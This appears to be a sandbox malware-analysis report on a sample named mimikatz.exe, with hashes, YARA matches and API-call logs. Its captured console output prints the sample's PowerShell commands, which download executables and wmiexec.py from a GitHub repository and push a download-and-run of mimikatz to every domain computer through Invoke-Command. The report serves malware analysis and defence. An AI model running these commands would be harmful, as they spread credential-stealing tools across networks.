popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

mimikatz.exe

Generic Malware Malicious Library Antivirus UPX OS Processor Check PE32 PE File PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Feb. 24, 2025, 12:03 p.m. Feb. 24, 2025, 12:05 p.m.
Size 278.5KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 cc5e97a8a3e9b5dfc2093dde57137b23
SHA256 5975948b57707a6f3da15eecf5c53642caaea7ef315273ddf4a71c2530c5c3e4
CRC32 942EC922
ssdeep 6144:1Md0LosbeItdFLl6cuOPdvJ9vYXzvcEBORLAOw0XYWT//w:18ueI9l6cuOPdvJ9vg4RLW0Xdw
PDB Path Z:\Yoanna\Release\Yoanna.pdb
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • Antivirus - Contains references to security software
  • IsPE32 - (no description)
  • Generic_Malware_Zero - Generic Malware
  • OS_Processor_Check_Zero - OS Processor Check
  • UPX_Zero - UPX packed file

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n, script file, or operable program. Check the spelling of the name, or if a pa
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: th was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:18
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + Invoke-WebRequest <<<< -Uri https://github.com/Lean789/rueht/blob/main/Dpose
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: .exe -Outfile C:\WinXRAR\Dpose.exe
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: ommandNotFoundException
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n, script file, or operable program. Check the spelling of the name, or if a pa
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: th was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:18
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + Invoke-WebRequest <<<< -Uri https://github.com/Lean789/rueht/blob/main/Bootx
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: r.exe -Outfile C:\WinXRAR\Bootxr.exe
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: ommandNotFoundException
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp\mimikatz.exe
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Access is denied.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

 buffer: The term 'Get-ADComputer' is not recognized as the name of a cmdlet, function,
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: script file, or operable program. Check the spelling of the name, or if a path
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:2 char:44
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + $computers = Get-ADComputer <<<< -Filter * | Select-Object -
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: ExpandProperty Name
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Get-ADComputer:String) [], Comm
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: andNotFoundException
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: Invoke-Command : Cannot validate argument on parameter 'ComputerName'. The argu
console_handle: 0x000000a3
1 1 0

WriteConsoleW

 buffer: ment is null or empty. Supply an argument that is not null or empty and then tr
console_handle: 0x000000af
1 1 0

WriteConsoleW

 buffer: y the command again.
console_handle: 0x000000bb
1 1 0

WriteConsoleW

 buffer: At line:3 char:45
console_handle: 0x000000c7
1 1 0

WriteConsoleW

 buffer: + Invoke-Command -ComputerName <<<< $computers -ScriptBlock {
console_handle: 0x000000d3
1 1 0

WriteConsoleW

 buffer: cmd /c 'if not exist C:\WinXRAR mkdir C:\WinXRAR && powershell Invoke-WebReques
console_handle: 0x000000df
1 1 0

WriteConsoleW

 buffer: t -Uri https://github.com/Lean789/rueht/blob/main/mimikatz.exe -Outfile C:\WinX
console_handle: 0x000000eb
1 1 0

WriteConsoleW

 buffer: RAR\mimikatz.exe && C:\WinXRAR\mimikatz.exe' }
console_handle: 0x000000f7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidData: (:) [Invoke-Command], ParameterBind
console_handle: 0x00000103
1 1 0

WriteConsoleW

 buffer: ingValidationException
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : ParameterArgumentValidationError,Microsoft.Power
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: Shell.Commands.InvokeCommandCommand
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n, script file, or operable program. Check the spelling of the name, or if a pa
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: th was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At line:1 char:18
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + Invoke-WebRequest <<<< -Uri https://github.com/Lean789/rueht/blob/main/wmiex
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: ec.py -Outfile C:\WinXRAR\wmiexec.py
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: ommandNotFoundException
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000083
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036f958
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036ff18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036ff18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036ff18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036f698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036f698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036f698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036f698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036f698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036f698
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036ff18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036ff18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036ff18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036fb18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00370398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036fe18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036fe18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036fe18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0036fe18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004fb3e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004fb520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004fb520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004fb520
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004fad20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004fad20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004fad20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004fad20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
pdb_path Z:\Yoanna\Release\Yoanna.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 393216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02450000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02470000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2200
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02522000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02471000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02472000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0254a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02523000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02524000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0255b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02557000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02542000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02555000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02525000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0254c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02526000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0255c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02543000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02544000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02545000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02546000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02547000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02548000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02549000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02810000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02811000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02812000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02813000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02814000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02815000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02816000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02817000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02818000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02819000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0281a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2200
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0281b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

